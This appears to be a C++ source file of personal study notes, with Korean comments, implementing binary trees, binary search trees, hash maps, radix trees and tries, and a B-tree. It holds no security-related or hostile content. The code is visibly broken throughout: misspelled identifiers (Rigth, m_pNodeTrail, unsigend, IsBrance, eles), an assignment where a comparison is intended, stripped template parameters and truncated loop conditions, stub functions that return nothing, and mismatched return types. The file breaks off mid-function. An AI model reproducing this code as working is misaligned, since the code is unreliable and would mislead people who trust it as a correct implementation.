void BinaryTree::PreOrderTraverse_nr(Node *pNode)
{
ListStack stack;
stack.Push(pNode);
while (!stack.IsEmpty())
{
  pNode = stack.Pop();
  if(pNode != m_pNodeTail)
  {
   Visit(pNode);
   stack.Push(pNode->pRight);
   stack.Push(pNode->pLeft);
  }
}
}

template class BinaryTree
{
public:
BinaryTree();
~BinaryTree();
void RemoveAll();

protected:
struct Node {
  T data;
  Node* pLeft;
  Node* pRight;
};
Node* m_pNodeHead;
Node* m_pNodeTail;
void RemoveSubtree(Node *pNode);
};
template
BinaryTree::BinaryTree()
{
m_pNodeHead = new Node;
m_pNodeTail = new Node;
m_pNodeHead->pLeft = m_pNodeTail;
m_pNodeHead->pRight = m_pNodeTail;
m_pNodeTail->pLeft = m_pNodeTail;
m_pNodeTail->pRight = m_pNodeTail;
}
template
BinaryTree::~BinaryTree()
{
RemoveAll();
if(m_pNodeHead)
  delete m_pNodeHead;
if(m_pNodeTail)
  delete m_pNodeTail;
}
template
void BinaryTree::RemoveAll()
{
RemoveSubtree(m_pNodeHead->pLeft);
}
template
void BinaryTree::RemoveSubtree(Node *pNode)
{
if(pNode != m_pNodeTail){
  RemoveSubtree(pNode->pLeft);
  RemoveSubtree(pNode->pRight);
  delete pNode;
}
}

class ParseTree : public BinaryTree
{
public:
void BuildParseTree(const string& strPostfix);
bool IsOperator(char c) {
return (c =='+' || c=='-' ||c=='*'|| c== '/');
}
void PreOrderTraverse(Node *pNode =0);
void PostOrderTraverse(Node *pNode = 0);
void InOrderTraverse(Node *pNode =0);
void LevelOrderTraverse(Node *pNode =0);
void Visit(Node *pNode);
};
void ParseTree::BuildParseTree(const string& strPostfix)
{
Node *pNode;
int i=0;
ListStack NodeStack;
RemoveAll();

while(strPostfix[i])
{
  while(strPostfix[i] == ' ')
   i++;
  pNode = new Node;
  if(IsOperator(strPostfix[i])) {
   pNode->data = strPostfix[i];
   i++;
   pNode->pRight = NodeStack.Pop();
   pNode->pLeft = NodeStack.Pop();
  }
  else {
   do {
    pNode->data += strPostfix[i];
    i++;
   } while (strPostfix[i] != ' ' &&
    i   pNode->pLeft = m_pNodeTail;
   pNode->pRight = m_pNodeTail;
  }
  NodeStack.Push(pNode);
}
m_pNodeHead->pLeft = NodeStack.Pop();

}
void ParseTree::PostOrderTraverse(Node* pNode)
{
if(pNode == 0)
  pNode = m_pNodeHead->pLeft;

if(pNode != m_pNodeTail)
{
  PostOrderTraverse(pNode->pLeft);
  PostOrderTraverse(pNode->pRight);
  Visit(pNode);
}
}
void ParseTree::PreOrderTraverse(Node* pNode)
{
if(pNode == 0)
  pNode = m_pNodeHead->pLeft;

if(pNode != m_pNodeTail)
{
  Visit(pNode);
  PreOrderTraverse(pNode->pLeft);
  PreOrderTraverse(pNode->pRight);
}
}
void ParseTree::InOrderTraverse(Node* pNode)
{
if(pNode == 0)
  pNode = m_pNodeHead->pLeft;

if(pNode != m_pNodeTail)
{
  InOrderTraverse(pNode->pLeft);
  Visit(pNode);
  InOrderTraverse(pNode->pRight);
}
}
void ParseTree::LevelOrderTraverse(Node* pNode)
{
if(pNode == 0)
  pNode = m_pNodeHead->pLeft;

ListQueue queue;
queue.Put(pNode);
while(!queue.IsEmpty())
{
  pNode = queue.Get();
  if(pNode != m_pNodeTail)
  {
   Visit(pNode);
   queue.Put(pNode->pLeft);
   queue.Put(pNode->pRight);
  }
}
}

void ParseTree::Visit(Node *pNode)
{
printf("%s ", pNode->data.c_str());
}

/*
이진트리 검색 Binary Tree Search
-Binary Tree를 이용하는 검색방법
평균적으로 삽입/검색/삭제 모드 O(logN)의 성능
이전 검색트리의 조건
*부모노드는 왼족sub-tree의 모든 노드보다 크고
*부모노드는 오른쪽 sub-tree의 모든 노드보다 작다
     따라서 이진트리를 In-Order Traversal하면 정렬된 순서다.

    삽입 : O(N), 균형이 맞으면 O(logN)
검색 : O(N), 균형이 맞으면 O(logN)
삭제 : O(logN)

*/

template class BinTreeMap : public BinaryTree
{
public:
enum Exception{
INSUFFICIENT_MEMORY_FOR_SORT
};
BinTreeMap() : BinaryTree() { m_nCount = 0;}
~BinTreeMap(){}
//Utilities
long GetCount() const {return m_nCount;}
bool IsEmpty() const { return m_nCount == 0;}
void RemoveAll() { BinaryTree::RemoveAll(); m_nCount = 0;}
//Operations
bool Find(const T& key, T& value) const;
bool Insert(const T& value);
bool Remove(const T& key);
//Special operatiokn for Binary Tree Search
void Sort(T a[], int n, Node* p = 0) const;
void Balance();
protected:
long m_nCount;
Node* _balance(T a[], int n, bool start=true);

};

template
bool BinTreeMap::Find(const T& key, T& value) const
{
Node *s = m_pNodeHead->pLeft;
while(s != m_pNodeTail)
{
  if(key==s->data) {
   value = s->data;
   return true;
  } else if ( key < s->data ) {
   s = s->pLeft;
  } else {
   s = s->Rigth;
  }
}
return false;
}
template
bool BinTreeMap::Insert(const T& value)
{
Node *p,*s;
p = m_pNodeHead;
s = m_pNodeHead->pLeft;
while(s != m_pNodeTail)
{
  p = s;
  if(value > s->data)
   s = s->pRight;
  else
   s = s->pLeft;
}
s = new Node;
s->data = value;
s->pLeft = m_pNodeTail;
s->pRight = m_pNodeTail;

if(value > p->data && p!=m_pNodeHead)
  p->pRight = s;
else
  p->pLeft = s;

m_nCount++;
return true;
}
/*
Leaf 노드 삭제는 간단함
내부노드의 경우 자신을 대체할 노드를 선택해야함
- 자신보다 작은 노드중 최대노드
- 자신보다 큰 노드중 최소노드
세가지 경우로 나누어 구현
- 삭제할 노드의 오른쪽자식이 없는 경우
    cdd = del->pLeft
    delp의 left 혹은 right 자식으로 cdd연결
- 삭제할 노드의 오른쪽자식의 왼쪽자식이 없는 경우
    cdd = del->pRight
    cdd->pLeft = del->pLeft;
    delp의 left 혹은 right 자식으로 cdd연결
- 그외의 경우
    cdd = del의 오른쪽 서브트리에서 가장 왼쪽노드
    cddp->pLeft = cdd->pRight
    cdd->pLeft = del->pLeft;
    cdd->pRight = del->pRight;
  delp->pLeft of pRight = cdd;

*/
template
bool BinTreeMap::Remove(const T& key)
{
if(IsEmpty()) return false;
Node *delp, *del;
Node *cdd,*cddp;

// find del
delp = m_pNodeHead;
del = m_pNodeHead->pLeft;
while(!(key == del->data) && del != m_pNodeTail) {
  delp = del;
  if(key > del->data) del = del->pRight;
  else del = del->pLeft;
}
if (del = m_pNodeTrail) return false;
if (del->pRight == m_pNodeTail) { // Case 1
  cdd = del->pLeft;
} else if ( del->pRight->pLeft == m_pNodeTail) {// case 2
  cdd = del->pRight;
  cdd->pLeft = del->pLeft;
} else { // case3
  cddp = del;
  cdd = del->pRight;
  while (cdd->pLeft != m_pNodeTail) {
   cddp = cdd;
   cdd = cdd->pLeft;
  }
  cddp->pLeft = cdd->pRight;
  cdd->pLeft = del->pLeft;
  cdd->pRight = del->pRight;
}
// delp의 자식으로 cdd를 결정
if(key >del->data && delp != m_pNodeHead)
  delp->pRight =cdd;
else delp->pLeft = cdd;
delete del;
m_nCount --;
return true;
}

/*
이진트리 정렬
- N개의 자료를 Insert
- 트리를 In-Order Traversal 하면 됨
평균(NlogN) 최악 O(N2)
*/
template
void BinTreeMap::Sort(T a[], int n, Node* p)const
{
static int index = 0;
if (p == 0)
{
  if(m_nCount!=n)
   throw INSUFFICIENT_MEMORY_FOR_SORT;
  index =0;
  p = m_pNodeHead->pLeft;
}
if(p != m_pNodeTail)
{
  Sort(a,n,p->pLeft);
  a[index++] = p->data;
  Sort(a,n,p->pRight);
}
}
/*
이진트리검색
*/
template
void BinaryTreeSort(T a[], int n)
{
BinTreeMap bintree;
for(int i =0; i  bintree.Insert(a[i]);
bintree.Sort(a,n);
}

/*
Binary Tree Balance Algorithm
*/
template
void BinTreeMap::Balance()
{
T *a;
a = new T[m_nCount];
Sort(a, m_nCount);
int nCount = m_nCount;
RemoveAll();
m_pNodeHead->pLeft = _balance(a,nCout,true);
m_nCount = nCount;
delete []a;
}

template
BinTreeMap::Node*
BinTreeMap::_balance(T a[], int n, bool start)
{
static int index = 0;
if (start)
  index = 0;
Node *p;
int nl, nr;
if (n >0) {
  nl = (n-1)/2;
  nr = n - nl -1;
  p = new Node;

  p->pLeft = _balance(a, nl, false);
  p->data = a[index++];
  p->pRight = _balance(a, nr, false);
  return p;
}
else
  return m_pNodeTail;
}
/*
이진검색트리에서의 중복키 문제
Binary Tree + Linked List 로 해결 ;;
*/

/*
해쉬 Hash
Hash Function : 키값을 수치로 변환하는 함수
-인접키를 널리 퍼뜨리도록 하라
   * 키값을 제곱, 세제곱을 하면 퍼진다.
   * 비드연산으로 비트구성을 완전히 다르게 변환
-빈도가 높은 키영역을 넓게 펴도록 하라.
   * 입력자료의 특성 분석 필요
-해쉬테이블의 크기는 소수(Prime Number)로 하는 것이 좋다.
   * 적어도 20이하의 약수는 없도록

   ex) MFC MAP_SO.CPP
    inlien UINT CMapStringToOB::HashKey(LPCTSTR key) const
    {
   UINT nHash = 0;
   while (*key)
    nHash = (nHash<<5) + nHash + *key++;
   return nHash;
    }

Hash Table:
Collision 해결법
-Linear Probing = Open Addressing
예상입력 자료수의 2배의 해쉬 테이블 필요
정적인 자료 검색에 유리
-Separate Chaining

Double Hash
-충돌시 이차 해쉬함수 사용
-연속된 클러스터가 더 적게 나올 수 있음
*/
template class HashMap
{
public:
struct MapPos {
  T key;
  long index;
};
enum NodeStatus{
  EMPTY, DELETED, AVAIL
};
protected:
struct Node {
  T data;
  NodeStatus status;
  Node() { status = EMPTY;}
};
public:
//HASH연산을 하는 클래스를 인자로 받음
//unsigned long hash(const T& k) const;
HashMap(const HASH& hash, int nSize =100);
~HashMap(){delete [] m_pArray;}
//utility function
long GetCount() const { return m_nCount; }
bool IsEmpty() const { return m_nCount ==0;}
void RemoveAll() {
  for (int i=0; i   m_pArray[i].status = EMPTY;
}
//operations
bool Find(const T& key, T& value);
bool Insert(const T& value);
bool Remove(const T& key);
bool FindFirst(const T& key, T& value, MapPos& pos) const;
bool FindNext(T& value, MapPos& pos) const;
bool RemoveAt(const MapPos& pos);
protected:
Node *m_pArray;
long m_nArraySize;
long m_nCount;
HASH m_hash;
bool _find(MapPos& pos) const;
int _next(const T& key) const { return 1; }
};
template
HashMap::HashMap(const HASH& hash, int nSize)
{
m_hash = hash;
m_nArraySize = nSize;
m_pArray = new Node[nSize];
}

template
bool HashMap::Insert(const T& value)
{
int start, index;
index = start = m_hash.hash(value) % m_nArraySize;
while (m_pArray[index].status == AVAIL)
{
  index = (index + _next(value)) % m_nArraySize;
  if(index == start) // full
   return false;
}
m_pArray[index].status = AVAIL;
m_pArray[index].data = value;
m_nCount ++;
return true;
}
template
bool HashMap::_find(MapPos& pos)const
{
int start, index;
index = start = m_hash.hash(pos.key) % m_nArraySize;
while (m_pArray[index].status != EMPTY) // AVAIL or DELETED
{
  if(m_pArray[index].status == AVAIL && m_pArray[index].data == pos.key)
  {
   pos.index = index;
   return true;
  }
  index = (index + _next(pos.key)) % m_nArraySize;
  if(index == start) // 한바퀴 다 돌았다.;;
   return false;
}
return false;
}
template
bool HashMap::Find(const T& key, T& value)
{
MapPos pos;
pos.key = key;
if(!_find(pos))
  return false;
value = m_pArray[pos.index].data;
return true;
}
template
bool HashMap::FindFirst(const T& key, T& value, MapPos& pos) const
{
// not codig yet
return true;
}
template
bool HashMap::FindNext(T& value, MapPos& pos) const
{
// not coding yet
return true;
}

template
bool HashMap::RemoveAt(const MapPos& pos)
{
int(m_nCount <=0 || pos.index < 0 || pos.index >=m_nArraySize)
  return false;
if(m_pArray[pos.index].status != AVAIL) // nothing to remove
  return false;
m_pArray[pos.index].status = DELETED;
m_nCount --;
return true;
}
template
bool HashMap::Remove(const T& key)
{
MapPos pos;
pos.key = key;
pos.index = 0;
if(!_find(pos))
  return false;
RemoveAt(pos);
return true;
}
/*
Separate Chaining
해쉬테이블 = 연결리스트의 배열
범용으로 사용가능
동적인 상황에 유리
삽입:DoubleList::AddHead()를 이용
삭제:DoubleList::DeleteAt사용
검색:DoubleList::Find를 이용
*/
template class ChainMap
{
public:
struct MapPos {
  T key;
  long index;
  POS pos; //링크드 리스트에서 이용
};
public:
ChainMap(const HASH& hash, int nSize =100);
~ChainMap() { delete [] m_pArray;}
//utility functions
long GetCount() const { return m_nCount;}
bool IsEmpty() const { return m_nCount == 0;}
void RemoveAll() {
  for (int i=0; i }
//operations
bool Find(const T& key, T& value)const;
bool Insert(const T& value);
bool Remove(const T& key);
bool FindFirst(const T& key, T& value, MapPos& pos) const;
bool FindNext(T& value, MapPos& pos) const;
bool RemoveAt(const MapPos& pos);
protected:
ListSeqMap *m_pArray;
long m_nCount;
long m_nArraySize;
HASH m_hash;
bool _find(MapPos& pos)const;
};
template
ChainMap::ChainMap(const HASH& hash, int nSize)
{
m_pArray = new ListSeqMap[nSize];
m_nArraySize = nSize;
m_nCount = 0;
m_hash = hash;
}
template
bool ChainMap::Insert(const T& value)
{
int index = m_hash.hash(value) % m_nArraySize;
if(m_pArray[index].AddHead(value) == 0) return false;
else return true;
}
template
bool ChainMap::_find(MapPos& pos) const
{
pos.index = m_hash.hash(pos.key) % m_nArraySize;
pos.pos = m_pArray[pos.index].Find(pos.key,pos.pos);
if(pos.pos == 0) return false;
else return true;
}
template
bool ChainMap::Find(const T& key, T& value) const
{
// MapPos pos;
// pos.key = key;
// if(!_find(pos))
//  return false;
// value = m_pArray[pos.index]
}
template
bool ChainMap::RemoveAt(const MapPos& pos)
{
int index = m_hash.hash(pos.key) % m_nArraySize;
m_pArray[index].DeleteAt(pos.pos);
return true;
}

/*
기수 검색 Radix Search
-Radix Tree, Radix Trie, Partricia, Extendible Hash( 주로 외부 검색(디시크)) ...
키비트 배열을 이용하는 검색방법

*/
/*
Radix Tree Search
-노드의 레벨에 해당하는 비트의 값에 따라(LSB부터)
-0은 왼쪽 자식으로 1은 오른쪽 자식으로 배치
-키의 디지털 특성을 이용함
쏠림현상 제거
-키의 중복이 허용되지 않는다.
키의 비트수가 M이라면
자료는 2 에 M승 개가 들어갈수 있고
트리의 높이는 최대 M+1이다.

    삽입
   -레벨에 따른 비트검사를 통해 Leaf로 이동
   -새로운 노드는 Leaf에 추가한다.
검색
   -검색키의 비트검사를 통해 노드를 탐색
삭제
   -삭제키키의 비트검사를 통해 노드를 탐색
   -세가지 경우로 나누어 노드를 삭제(이진 검색트리와 동일)
    경우1: 오른쪽자식이 없을때
    경우2: 오른쪽 자식의 왼쪽 자식이 없을째
    경우3: 그외의 경우

*/
template class RadixTreeMap : public BinaryTree
{
public:
RadixTreeMap() : BinaryTree() { m_nCount = 0; }
~RadixTreeMap() {}
//utilities
long GetCount() const { return m_nCount;}
bool IsEmpty() const { return m_nCount == 0;}
void RemoveAll() { BinaryTree::RemoveAll(); m_nCount =0;}
//operations
bool Find(const T& key, T& value) const;
bool Insert(const T& value);
bool Remove(const T& key);
protected:
unsigned long bits(const T& x, unsigned long k, unsigned long j) const
{
  return (x >> k) & ~(~0 << j);
}
long m_nCount;
};
//사용자정의 타입에서 사용하려면 operator>>를 구현해야 한다.
template
bool RadixTreeMap::Insert(const T& value)
{
Node *p, *t;
unsigned b = 0; //검사 대상 비트
// Leaf노드까지 진행
p = m_pNodeHead;
t = m_pNodeHead->pLeft;
while (t!=m_pNodeTail){
  if(value == t->data) return false; //동일키 삽입금지
  p = t;
  t = bits(value,b++,1)? t->pRight:t->pLeft;
}
//새 노드 생성해서 Leaf에 추가
t = new Node;
t->data = value;
t->pLeft = m_pNodeTail;
t->pRight = m_pNodeTail;
if (bits(value,b-1,1) && p != m_pNodeHead) p->pRight = t;
else p->pLeft = t;
m_nCount ++;
return true;
}
template
bool RadixTreeMap::Find(const T& key, T& value) const
{
Node* t = m_pNodeHead->pLeft;
unsigned b = 0;
while(t != m_pNodeTail){
  if(t->data == key){
   value = t->data;
   return true;
  }
  t = bits(key,b++,1)?t->pRight:t->pLeft;
}
return false;
}
template
bool RadixTreeMap::Remove(const T& key)
{
if(IsEmpty()) return false;
Node *del,*delp,*cdd,*cddp;
unsigned b = 0;
//find del node
delp = m_pNodeHead;
del = m_pNodeHead->pLeft;
while (del != m_pNodeTail && !(key==del-data))
{
  delp = del;
  del = bits(key,b++,1)?del->pRight:del->pLeft;
}
if(del == m_pNodeTail) return false;
if(del->pRight == m_pNodeTail) { //case 1
  cdd =del->pLeft;
} else if (del->pRight->pLeft == m_pNodeTail) {
  //case 2
  cdd = del->pRight;
  cdd->pLeft = del->pLeft;
} else { // case 3
  cddp = del;
  cdd = del->pRight;
  while (cdd->pLeft != m_pNodeTail) {
   cddp = cdd;
   cdd = cdd->pLeft;
  }
  cddp->pLeft = cdd->pRight;
  cdd->pLeft = del->pLeft;
  cdd->pRight = del->pRight;
}
if (bits(key,b-1,1)&& delp!= m_pNodeHead)
  delp->pRight = cdd;
else
  delp->pLeft = cdd;
delete del;
m_nCount --;
return true;
}

/*
Radix Trie Search
-Trie의 노드는 정보노드와 분기노드 두종류가 있다.
*정보노드(Information Node):실제 데이타를 저장
*분기노드(Branch Node): 빈노드
-정보노드는 항상 Leaf에 존재
-모든 내부노드는 분기노드이다.
-Radix Tree와 유사하게 Bit따라 좌/우 판단

특징
-자료의 입력순서와 무관
-키의 중복이 허용되지 않음
-키의 비트수가M이라면
   *자료는 2의 M승개 입력될 수 있고
   *트리의 높이는 M+1을 넘지 않느다.
    (즉 높이는 log(M) +1 이다)
-키의 비교는 Lear에서 한번만 하면 된다.
   *키의 비교가 복잡한 경우에 유용.
*/
template class RadixTrieMap : public BinaryTree
{
public:
RadixTrieMap() : BinaryTree(){m_nCount = 0;}
~RadixTrieMap(){}
//utilities
long GetCount() const { return m_nCount;}
long IsEmpty() const { return m_nCount ==0;}
void RemoveAll() { BinaryTree::RemoveAll(); m_nCount =0;}
//operations
bool Find(const T& key, T& value) const;
bool Insert(const T& value);
bool Remove(const T& key);
protected:
unsigned long bits(const T& x, unsigned long k, unsigned long j) const
{
  return (x >> k) & ~(~0 << j);
}
bool IsBranch(Node *p) const
{
  return (p->pLeft != m_pNodeTail || p->pRight != m_pNodeTail);
}
long m_nCount;
};

template
bool RadixTrieMap::Find(const T& key, T& value) const
{
Node *t;
unsigned b = 0;
t = m_pNodeHead->pLeft;

while ( IsBranch(t))
{
t = bits(key,b++,1)?t->pRight:t->pLeft;
}

if(t->data == key)
{
  value = t->data;
  return true;
}
else
  return false;
}
/*
case1:첫번째 데이타
case2:부모가 분기노드
case3:부모가 정보노드
*/
template
bool RadixTrieMap::Insert(const T& value)
{
unsigned b = 0;
Node *gp, *p, *t;
gp = p = m_pNodeHead;
t = m_pNodeHead->pLeft;
while (t!= m_pNodeTail)
{
  if(value == t->data)return false; // 중복금지
  gp = p;
  p = t;
  t = bits(value,b++,1)?t->pRight:t->pLeft;
}
b--;
if(p==m_pNodeHead){ // case1
  t = new Node;
  t->pLeft = t->pRight = m_pNodeTail;
  t->data = value;
  p->pLeft = t;
} else if (IsBranch(p)) { // case 2
  t = new Node;
  t->pLeft = t->pRight = m_pNodeTail;
  t->data = value;
  if(bits(value, b, 1))p->pRight = t;
  else p->pLeft = t;
} else { // case 3
  do {
   t = new Node;
   t->pLeft = t->pRight = m_pNodeTail;
   if (gp != m_pNodeHead && bits(value, b-1, 1))
    gp->pRight =t;
   else gp->pLeft = t;
   gp = t;
   b++;
  } while (bits(value, b-1, 1) == bits(p->data, b-1, 1));
  t = new Node;
  t->data = value;
  t->pLeft = t->pRight = m_pNodeTail;
  if(bits(value,b-1,1)) {
   gp->pRight = t;
   gp->pLeft = p;
  } else {
   gp->pLeft = t;
   gp->pRight = p;
  }
}
m_nCount ++;
return true;
}
/*
case1: 형제노드가 분기노드
case2: 형제노드가 정보노드

*/
template
bool RadixTrieMap::Remove(const T& key)
{
Node *delp, *del, *sib, *cp;
unsigend b = 0, cpb = 0;
cp = delp = m_pNodeHead;
del = m_pNodeHead->pLeft;
while (IsBrance(de)) {
  delp = del;
  if (del->pLeft != m_pNodeTail &&
   del->pRight != m_nNodeTail &&
   (IsBranch(del->pLeft) || IsBranch(del->pRight))) {
   // 자식이 두개인 노드: cp가 된다.
   cp = del;
   cpb = b;
  }
  del = bits(key, b++,1)?del->pRight: del->pLeft;
}
if(!(del->data == key)) return false; // not found
// 경우 1,2 공통
delete del;
// sib찾기
if(delp != m_pNodeHead && bits(key,b-1,1)) {
  delp->pRight = m_pNodeTail;
  sib = selp->pLeft;
} else {
  delp->pLeft = m_pNodeTail;
  sib = delp->pRight;
}
if(!IsBranch(sib)){ //case 2
  delp = cp;
  del = bits(key,cpb,1)? delp->pRight:delp->pLeft;
  b = cpb + 1;
  while (IsBrach(del)) {
   delp = del;
   del = bits(key,b++, 1)?
    delp->pRight : delp->pLeft;
   delete delp;
  }
  if(cp != m_pNodeHead && bits(key,cpb,1))
   cp->pRight = sib;
  else
   cp->pLeft = sib;
}
m_nCount --;
return true;
}
/*
B-Tree
Balanced Tree
   AVL Tree, 2-3(-4) Tree, Red-Black Tree, B-Tree ...
B-Tree?
   -하나의 노드에 여러자료가 배치되는 트리구조
   -한 노드에 M개의 자료가 배치되면 M차 B-Tree
    *M이 짝수냐 홀수냐에 따라 알고리즘이 다르다.
    *다음 알고리즘은 M이 3보다 크거나 같은 홀수라고 가정한다.
   짝수가 더어렵다.
   2-3 Tree == 2차 B-tree
   2-3-4 Tree == 3차 B-tree
   규칙1
    -노드의 자료수가 N이라면, 자식의 수는 N+1이어야 한다.
    -각 노드의 자료는 정렬된 상태여야 한다.
    -노드의 자료 Dk의 왼쪽 서브트리는 DK보다 작은 값들이고,
      DK의 오른쪽 서브트리 DK보다 큰 값들이어야 한다.

   규칙2
    -Root노드는 적어도 2개이상의 자식을 가져야 한다.
    -Root드를 제외한 모든 노드는 적어도 M/2개의 자료를 가지고 있어야 한다.
    -외부노드로 가는 경로의 길이는 모두 같다.
     *외부노드는 모두 같은 레벨
    -입력 자료는 중복될 수 없다.

*/
template class BTreeMap
{
public:
BTreeMap(int dim = 5) ;
// ~BReeMap();
//utilities
long GetCount() const { return m_nCount; }
bool IsEmpty() const { return m_nCount ==0; }
void RemoveAll();
//operations
bool Find(const T& key, T& value) const;
bool Insert(const T& value);
bool Remove(const T& key);
protected:
typedef struct Node* PNODE;
struct Node {
  T *m_pKeys;
  Node **m_pChildren;
  int m_nKeys;
  Node(int dim) {
   m_pKeys = new T[dim];
   m_pChildren = new Node* [dim+1];
   for(int i = 0; i<= dim; i++) m_pChildren[i] = 0;
   m_nKeys = 0;
  }
  ~Node() {
   delete [] m_pKeys;
   delete [] m_pChildren;
  }
  PNODE& Left(int n) { return m_pChildren[n]; }
  PNODE& Right(int n) { return m_pChildren[n+1]; }
  T& Key(int n) { return m_pKeys[n]; }
  int& Size() { return m_nKeys; }
  void AddValue(const T& value, Node* left, Node* right)
  {
   int i;
   i = m_nKeys; // Insert Sort
   while (i>0 && Key(i-1) > value) {
    Key(i) = Key(i-1);
    Left(i+1) = Left(i);
    i--;
   }
   m_nKeys++;
   Key(i) = value;
   Left(i) = left;
   Right(i) = right;;
  }
  void DelValue(int index)
  {
   for ( int i = index +1; i     Key(i-1) = Key(i);
    Left(i-1) = Left(i);
   }
   Left(i-1) = Left(i);
   m_nKeys--;
  }
  void FindKey(const T& key)
  {
   for(int i =0 ; i< m_nKeys; i++)
    if(key == Key(i)) return i;
    return -1;
  }
  void Clear(int dim)
  {
   m_nKeys = 0;
   for(int i =0; i<= dim; i++) m_pChildren[i] = 0;
  }
};
Node* m_pNodeHead;
void _RemoveSubtree(Node *pNode);
Node* _Split(const T& key, Node* pivot);
bool _BorrowKey(Node *p, int index);
Node* _BindNode(Node* p, int index);
T _SwapKey(Node *del, int index);
long m_mCount;
long m_nDim; // B-Tree의 차수
};
template
bool BTreeMap::Find(const T& key, T& value) const
{
Node *t;
int index;
t = m_pNodeHead->Left(0);
while ( t != 0 && (index = t->FindKey(key)) <0)
{
  for(int i = 0; i< t->Size() && key > t->Key(i); i++);
  t = t->Left(i);
}
if(t == 0) return false; // not found
value = t->Key(index); // found
return true;
}
/*
삽입 알고리즘1
-자료는 항상 Leaf 노드에 추가된다.
*Leaf의 선택은 삽입될 키의 하향 탐색에 의해 결정
-추가될 Leaf노드에 여유가 있다면 그냥 삽입
-추가될 Lear노드에 여유가 없다면 '분할'하기

삽입 알고리즘2
-분할을 위해서는 키 하나를 부모로 올려야 함
* 부모가 꽈 차있다면 문제!
-삽입을 위한 하향 탐색을 하면서 꽉찬 노드는 분할 해 주어야 함.

*/
/*
pivot : 분할하고자하는 노드의 부모
split : 분할하고자하는 노드
key : 삽입하고자하는 키
return 값 : 분할된 노드의 부모
*/
template
BTreeMap::Node* BTreeMap::_Split(const T& key, Node* pivot)
{
Node *left, *right;
Node *split; // 리턴할 노드
int i,j;
right = new Node(m_nDim);
// case 1 : 분할할 노드가 Root인 경우
if(pivot == m_pNodeHead) {
  split = pivot->Left(0);; // child == root;
  //left child 생성
  left = new Node(m_nDim);
  for(i=0;i   left->Key(i) = split->Key(i);
   left->Left(i) = split->Left(i);
  }
  left->Left(i) = split->Left(i);
  left->Size() = m_nDim/2;
  // right child 생성
  for (i=m_nDim/2+1, j=0; i   right->Key(j) = split->Key(i);
   right->Left(j) = split->Left(i);
  }
  right->Left(j) = split->Left(i);
  right->Size() = m_nDim/2;
  //부모노드 정리
  T temp = split->Key(m_nDim/2);
  split->Clear(m_nDim);
  split->AddValue(temp,left,right);
} else { // case 2: 분할할 노드가 Root가 아닌경우
  // 분할할 노드를 찾기
  for(i=0;iSize() && key > pivot->Key(i); i++);
  //왼쪽 노드는 이미 있는 노드이므로 갯수만 조정
  left = pivot->Left(i);
  left->Size() = m_nDim/2;
  //오른쪽 노드 생성
  for(i-m_nDim/2+1, j=0;i   right->Key(j) = left->Key(i);
   right->Left(j) = left->Left(i);
  }
  right->Left(j) = left->Left(i);
  right->Size() = m_nDim /2;
  //중간키를 부모에 삽입
  pivot->AddValue(left->Key(m_nDim/2),left,right);
  split = pivot;
}
return split;
}
template
bool BTreeMap::Insert(const T& value)
{
Node *t, *p;
int i;
p = m_pNodeHead;
t = m_pNodeHead->Left(0);
if(t==0){ //root노드가 없다면 생성해 주어야함
  t = new Node(m_nDim);
  m_pNodeHead->Left(0) = t;
}
while(t!=0) {
  if(t->FindKey(value) >=0) // 중복키 삽입 금지
   return false;
  if(t->Size() == m_nDim) //꽉찬 노드이면 분할
   t =_Splist(value,p);
  p = t;
  for(i=0;iSize() && value > t->Key(i); i++);
  t = t->Left(i);
}
p->AddValue(value,0,0);
m_nCount++:
return true;
}
/*
B-Tree삭제 알고리즘
-삭제하고자 하는 자료가 있는 노드가
   *삭제후 자료수가 M/2 이상이 되도록 보장해야 함!
-형제에게 빌리기 VS 형제와 결합하기
   *빌리기:형제가 M/2보다 많은 자료를 가지고 있다면
   *결합하기:형제에게서 빌릴 수 없다면

-삭제키가 내부노드인 경우
*대체키를 찾아 대체해야 함(이진트리와 동일)
-삭제를 위한 하향탐색을 하면서 자료수가 M/2이하인 노드는 형제에게 빌리든지 결합해야함

*/
/*
p : 삭제할 노드의 부모노드
index : 삭제할 노의의 index
*/
template
bool BTreeMap::_BorrowKey(Node *p, int index)
{
int from, to;
Node *p1, *p2;
to = index;
if(index == p->Size()) // 가장 오른쪽인 경우 왼쪽 형제에게 빌림
  from = index -1;
else // 아니면 오른쪽 형제에게서 빌림
  from = index + 1;
p1 = p->Left(from); // p1 : 빌려주는 노드
p2 = p->Left(to); // p2 : 빌리는 노드
if (p1->Size() <= m_nDim/2) //빌려줄 키가 없을때 실패를 리턴
  return false;
if(from > to) { // 오른쪽 형제에게서 빌림
  p2->AddValue(p->Key(to),p2->Left(p2->Size()),p1->Left(0));
  p->Key(to) = p1->Key(0);
  p1->DelValue(0);
} eles { // 왼쪽 형제에게서 빌림
  p2->AddValue(p->Key(form,p1->Left(p1->Size()), p2->Left(0));
  p->Key(from) = p1->key(p1->Size() -1);
  p1->DelValue(p1->Size() -1));
}
return true;
}
template
BTreeMap::Node* BTreeMap::_BindNode(Node* p, int index)
{
Node *left, *right;
int i;
if (index == p->Size()) index--; // 가장 오른쪽이면 index 감소
left = p->Left(index);
right = p->Right(index);
left->Key(left->Size()++) = p->Key(index); //왼쪽노드에 부모키를 복사
for(i=0; iSize(); i++) { //왼쪽노드에 오른쪽 노드를 복사
  left->Key(left->Size()) = right->Key(i);
  left->Left(left->Size()++) = right->Left(i);
}
left->Left(left->Size()) = right->Left(i);
p->DelValue(index); //부모노드에서 결합한 키를 삭제
p->Left(index) = left; // 포인터 조절
delete right;
if(p->Size() == 0) { // root노드일 수 밖에 없음
  delete p;
  m_pNodeHead->Left(0) = left;
}
return left; // 결합된 노드를 리턴
}
template
T BTreeMap::_SwapKey(Node* del, int index)
{
Node *cdd, *cddp;
cddp = del;
cdd = cddp->Right(index); // 삭제키의 오른쪽 자식
while (cdd->Left(0) != 0)
{
  cddp = cdd;
  cdd = cdd->Left(0);
}
del->Key(index) = cdd->Key(0); // 키대체
return cdd->Key(0);
}
template
bool BTreeMap::Remove(const T& key)
{
Node *t, *p;
int pi = 0; // 부모의 index
int ti = 0; // 현재노드의 index
T value = key;
p = m_pNodeHead;
t = m_pNodeHead->Left(0);
while(t != 0) {
  if(t->Size() <= m_nDim/2 && p != m_pNodeHead) { //확장할 필요가 있으면 확장
   if(!_BorrowKey(p,pi))// 형제에게 빌려보고 실패하면 형제와 결합
    t = _BindNode(p,pi);
  }
  if((ti = t->FindKey(value)) >= 0) { //삭제키가 이 노드에 있으면
   if(t->Left(0) == 0) break; //외부노드이면 break;
   else value = _SwapKey(t,ti); //내부노드이면 바꿈. 이제 새로운 value를 아래로 내려야 한다.
  }
  p = t;
